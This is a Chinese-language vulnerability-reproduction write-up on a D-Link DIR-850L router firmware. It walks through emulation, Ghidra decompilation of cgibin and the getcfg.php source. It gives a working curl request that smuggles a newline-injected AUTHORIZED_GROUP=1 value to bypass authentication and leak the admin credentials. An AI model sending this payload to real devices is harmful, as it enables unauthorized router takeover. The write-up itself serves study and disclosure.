ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP固件下載地址
分析工具
1.attifyOs虛擬機(裏面的~/tools/firmware-analysis-toolkit工具)
2.binwalk binwalk -eM xxx.bin解壓查看bin文件系統
3.Ghidra用來反編譯mips(一般路由器的指令集與ARM,8086同等級)的構架的程序
0x01仿真
一般情況下想要運行起來固件有三種方法,
1.用qume仿真
2.買個對應版本的路由器
3.買個路由器刷入對應版本的固件
第一和第三種比較推薦
這裏的仿真用最省事的方法用attifyOs虛擬機虛擬機跳過繁瑣的軟件安裝過程。
我這裏attifyos虛擬機和主機共享問價比較麻煩,這裏用scp 本地文件 iot@ip:遠程目錄
使用fat模擬固件也比較簡單,一條命令一把梭直接解決
fat的地址https://github.com/attify/firmware-analysis-toolkit
還有一個自動仿真工具叫firmdyne地址https://github.com/firmadyne/firmadyne
如果報了莫名的錯誤可以試一下python3 fat.py xxx.bin
剛開始運行會給一個ip地址,這個ip就是仿真運行的地址
用root password登錄(不需要登錄也能把上面的服務開啓)
但是這時只能在本虛擬機訪問想要遠程訪問需要做代理
用ssh端口轉發
主機運行ssh -D 127.0.0.1:9000 user@ip
瀏覽器設置代理就能訪問遠程虛擬機了
0x02反編譯環境
Ghidra使用
ctrl+shift+e 搜索字符串
ctrl+e 展示反編譯
查看交叉引用
0x03具體分析過程
1.查看getcfg.php
我也不知道爲什麼是這個文件不過定義爲復現漏洞就不需要糾結爲什麼是這個文件了。
HTTP/1.1 200 OK
Content-Type: text/xml
<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";
function is_power_user()
{
if($_GLOBALS["AUTHORIZED_GROUP"] == "")
{
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
{
return 0;
}
return 1;
}
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if(is_power_user() == 1) /*這裏需要繞過*/
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");/*獲取到post裏面的services,後面將會被執行*/
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php"; /*中間GETCFG_SVC可控*/
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file); /*在這裏運行php文件*/
}
$SERVICE_INDEX++;
}
}
else
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
}
?></postxml>
/htdocs/webinc/getcfg/目錄下面有一個DIEVICE.ACCOUNT.xml.php運行這個文件可以返回用戶名密碼 這個可以記錄下來,不出意外的話dlink設備應該一直都會是這樣。
`curl -d “SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1” http://192.168.0.1/getcfg.php``
但是從上面的腳本看想要運行這段代碼需要過一個驗證,需要繞過s_power_user() == 1決定權就落到了AUTHORIZED_GROUP
這個全局變量裏面。
AUTHORIZED_GROUP
變量在這個文件裏面沒有定義,所以定義在php處理函數裏面,這個程序叫phpcgi
在這裏phpcgi是一個軟連接,指向cgibin
cgibin裏面有一個phpcgi函數 ,所以查看cgibin文件裏面的phpcgi_main函數
int phpcgi_main(int param_1,int param_2,char **param_3)
{
char *__s1;
int iVar1;
FILE *__stream;
code *pcVar2;
void *pvVar3;
char acStack48 [24];
int local_18;
pvVar3 = (void *)0x0;
if ((1 < param_1) && (local_18 = param_2, pvVar3 = (void *)sobj_new(), pvVar3 != (void *)0x0)) {
sobj_add_string((int)pvVar3,*(char **)(local_18 + 4));
sobj_add_char((int)pvVar3,10);
while (*param_3 != (char *)0x0) {
sobj_add_string((int)pvVar3,"_SERVER_");
__s1 = *param_3;
param_3 = param_3 + 1;
sobj_add_string((int)pvVar3,__s1);
sobj_add_char((int)pvVar3,10);
}
__s1 = getenv("REQUEST_METHOD"); //用getenv獲取環境變量,得到http請求方法
if (__s1 != (char *)0x0) {
iVar1 = strcasecmp(__s1,"HEAD");
if ((iVar1 == 0) || (iVar1 = strcasecmp(__s1,"GET"), iVar1 == 0)) {
pcVar2 = FUN_00406040;
}
else {
iVar1 = strcasecmp(__s1,"POST");
if (iVar1 != 0) goto LAB_004063f8;
pcVar2 = FUN_00405e10;
}
iVar1 = cgibin_parse_request(pcVar2,pvVar3,0x80000); //這個函數獲取對應的url字段(c從環境變量裏面獲得)
if (iVar1 < 0) {
if (iVar1 == -100) {
__stream = fopen("/htdocs/web/info.php","r");
if (__stream != (FILE *)0x0) {
fclose(__stream);
cgibin_print_http_resp
(1,"/info.php","FAIL","ERR_REQ_TOO_LONG",0,
"NOTIFY %s HTTP/1.1\r\nHOST: %s\r\nCONTENT-TYPE: text/xml\r\nCONTENT-LENGTH:%d\r\nNT: upnp:event\r\nNTS: upnp:propchange\r\nSID: %s\r\nSEQ: %d\r\n\r\n"
+ 0x84);
}
}
else {
cgibin_print_http_status(400,"unsupported HTTP request","unsupported HTTP request");
}
}
else {
iVar1 = sess_validate();
sprintf(acStack48,"AUTHORIZED_GROUP=%d",iVar1); //這裏對url字段的信息做了整合,可以知道AUTHORIZED_GROUP在這裏被賦值
sobj_add_string((int)pvVar3,acStack48);
sobj_add_char((int)pvVar3,10); //注意這裏的兩個環境變量之間是用\x0a(也就是\n)來分隔的
sobj_add_string((int)pvVar3,"SESSION_UID=");
sess_get_uid((int)pvVar3);
sobj_add_char((int)pvVar3,10);
__s1 = sobj_get_string((int)pvVar3);
iVar1 = xmldbc_ephp((char *)0x0,0,__s1,stdout); //上幾步組合出來的字符串在這裏以套接字的形式發送給
/*
裏面大概的流程是
sockets.sa_data= "/var/run/xmldb_sock"
sockets.sa_family=1
__fd = socket(1,2,0)
a=connect(_fd,sockets,0x6e)
send(a,組合的url參數,長度)
*/
}
goto LAB_004063fc;
}
}
LAB_004063f8:
iVar1 = -1;
LAB_004063fc:
cgibin_clean_tempfiles();
if (pvVar3 != (void *)0x0) {
sobj_del(pvVar3);
}
return iVar1;
}
補充:如果在form表單中method使用POST方法,那麼服務器會將會把從表單中填入的數據接收,並傳給相應的CGI程序(就是action中指定的CGI程序),同時把REQUEST_METHOD環境變量設置爲POST,而相應的CGI程序檢查該環境變量,以確定其工作在POST接收數據方式,然後讀取這個數據。注意使用POST這種方法傳輸數據時,Http在數據發送完後,並不會發送相應的數據傳輸完畢提示信息,所以Http服務器提供了另一個環境變量CONTENET_LENGTH,該環境變量記錄了傳輸過來了多少個字節長度的數據(單位爲字節),所以在編寫CGI程序時,如果method爲POST,就需要通過該變量來限定讀取的數據的長度
__s1 = getenv("REQUEST_METHOD");
這個函數用來獲取客戶端通過 http 請求的一些請求參數,例如 uri、content-length、請求方法等,返回結果存放在二維數組裏面。
cgibin_parse_request去解析post參數,將參數解析並存入到內存當中
cgibin_parse_request函數檢查了CONTENT_TYPE和CONTENT_LENGTH兩個環境變量。然後調用了 parse_uri函數
parse_uri()函數檢查URL是否包含字符“?”,並組織要發送的URL的結構(具體內容咱也分析不了,先記下)
中間回檢查REQUEST_URI環境變量
cgibin_parse_request返回時將初始化一些變量
執行sess_validate()函數,
並將該值分配給“ AUTHORIZED_GROUP”參數。
抓到的請求包是這個樣子
這個是用http://192.168.0.1/getcfg.php?SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1
抓到的包(並沒有拿到password)
用curl -d 使用post請求,item裏面需要填SERVICES,它的值爲DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 %0a後面的部分在cgibin中被分割掉並處理,在getcfg.php裏面處理DEVICE.ACCOUNT這個字段,這個字段是一個文件,讀這個文件。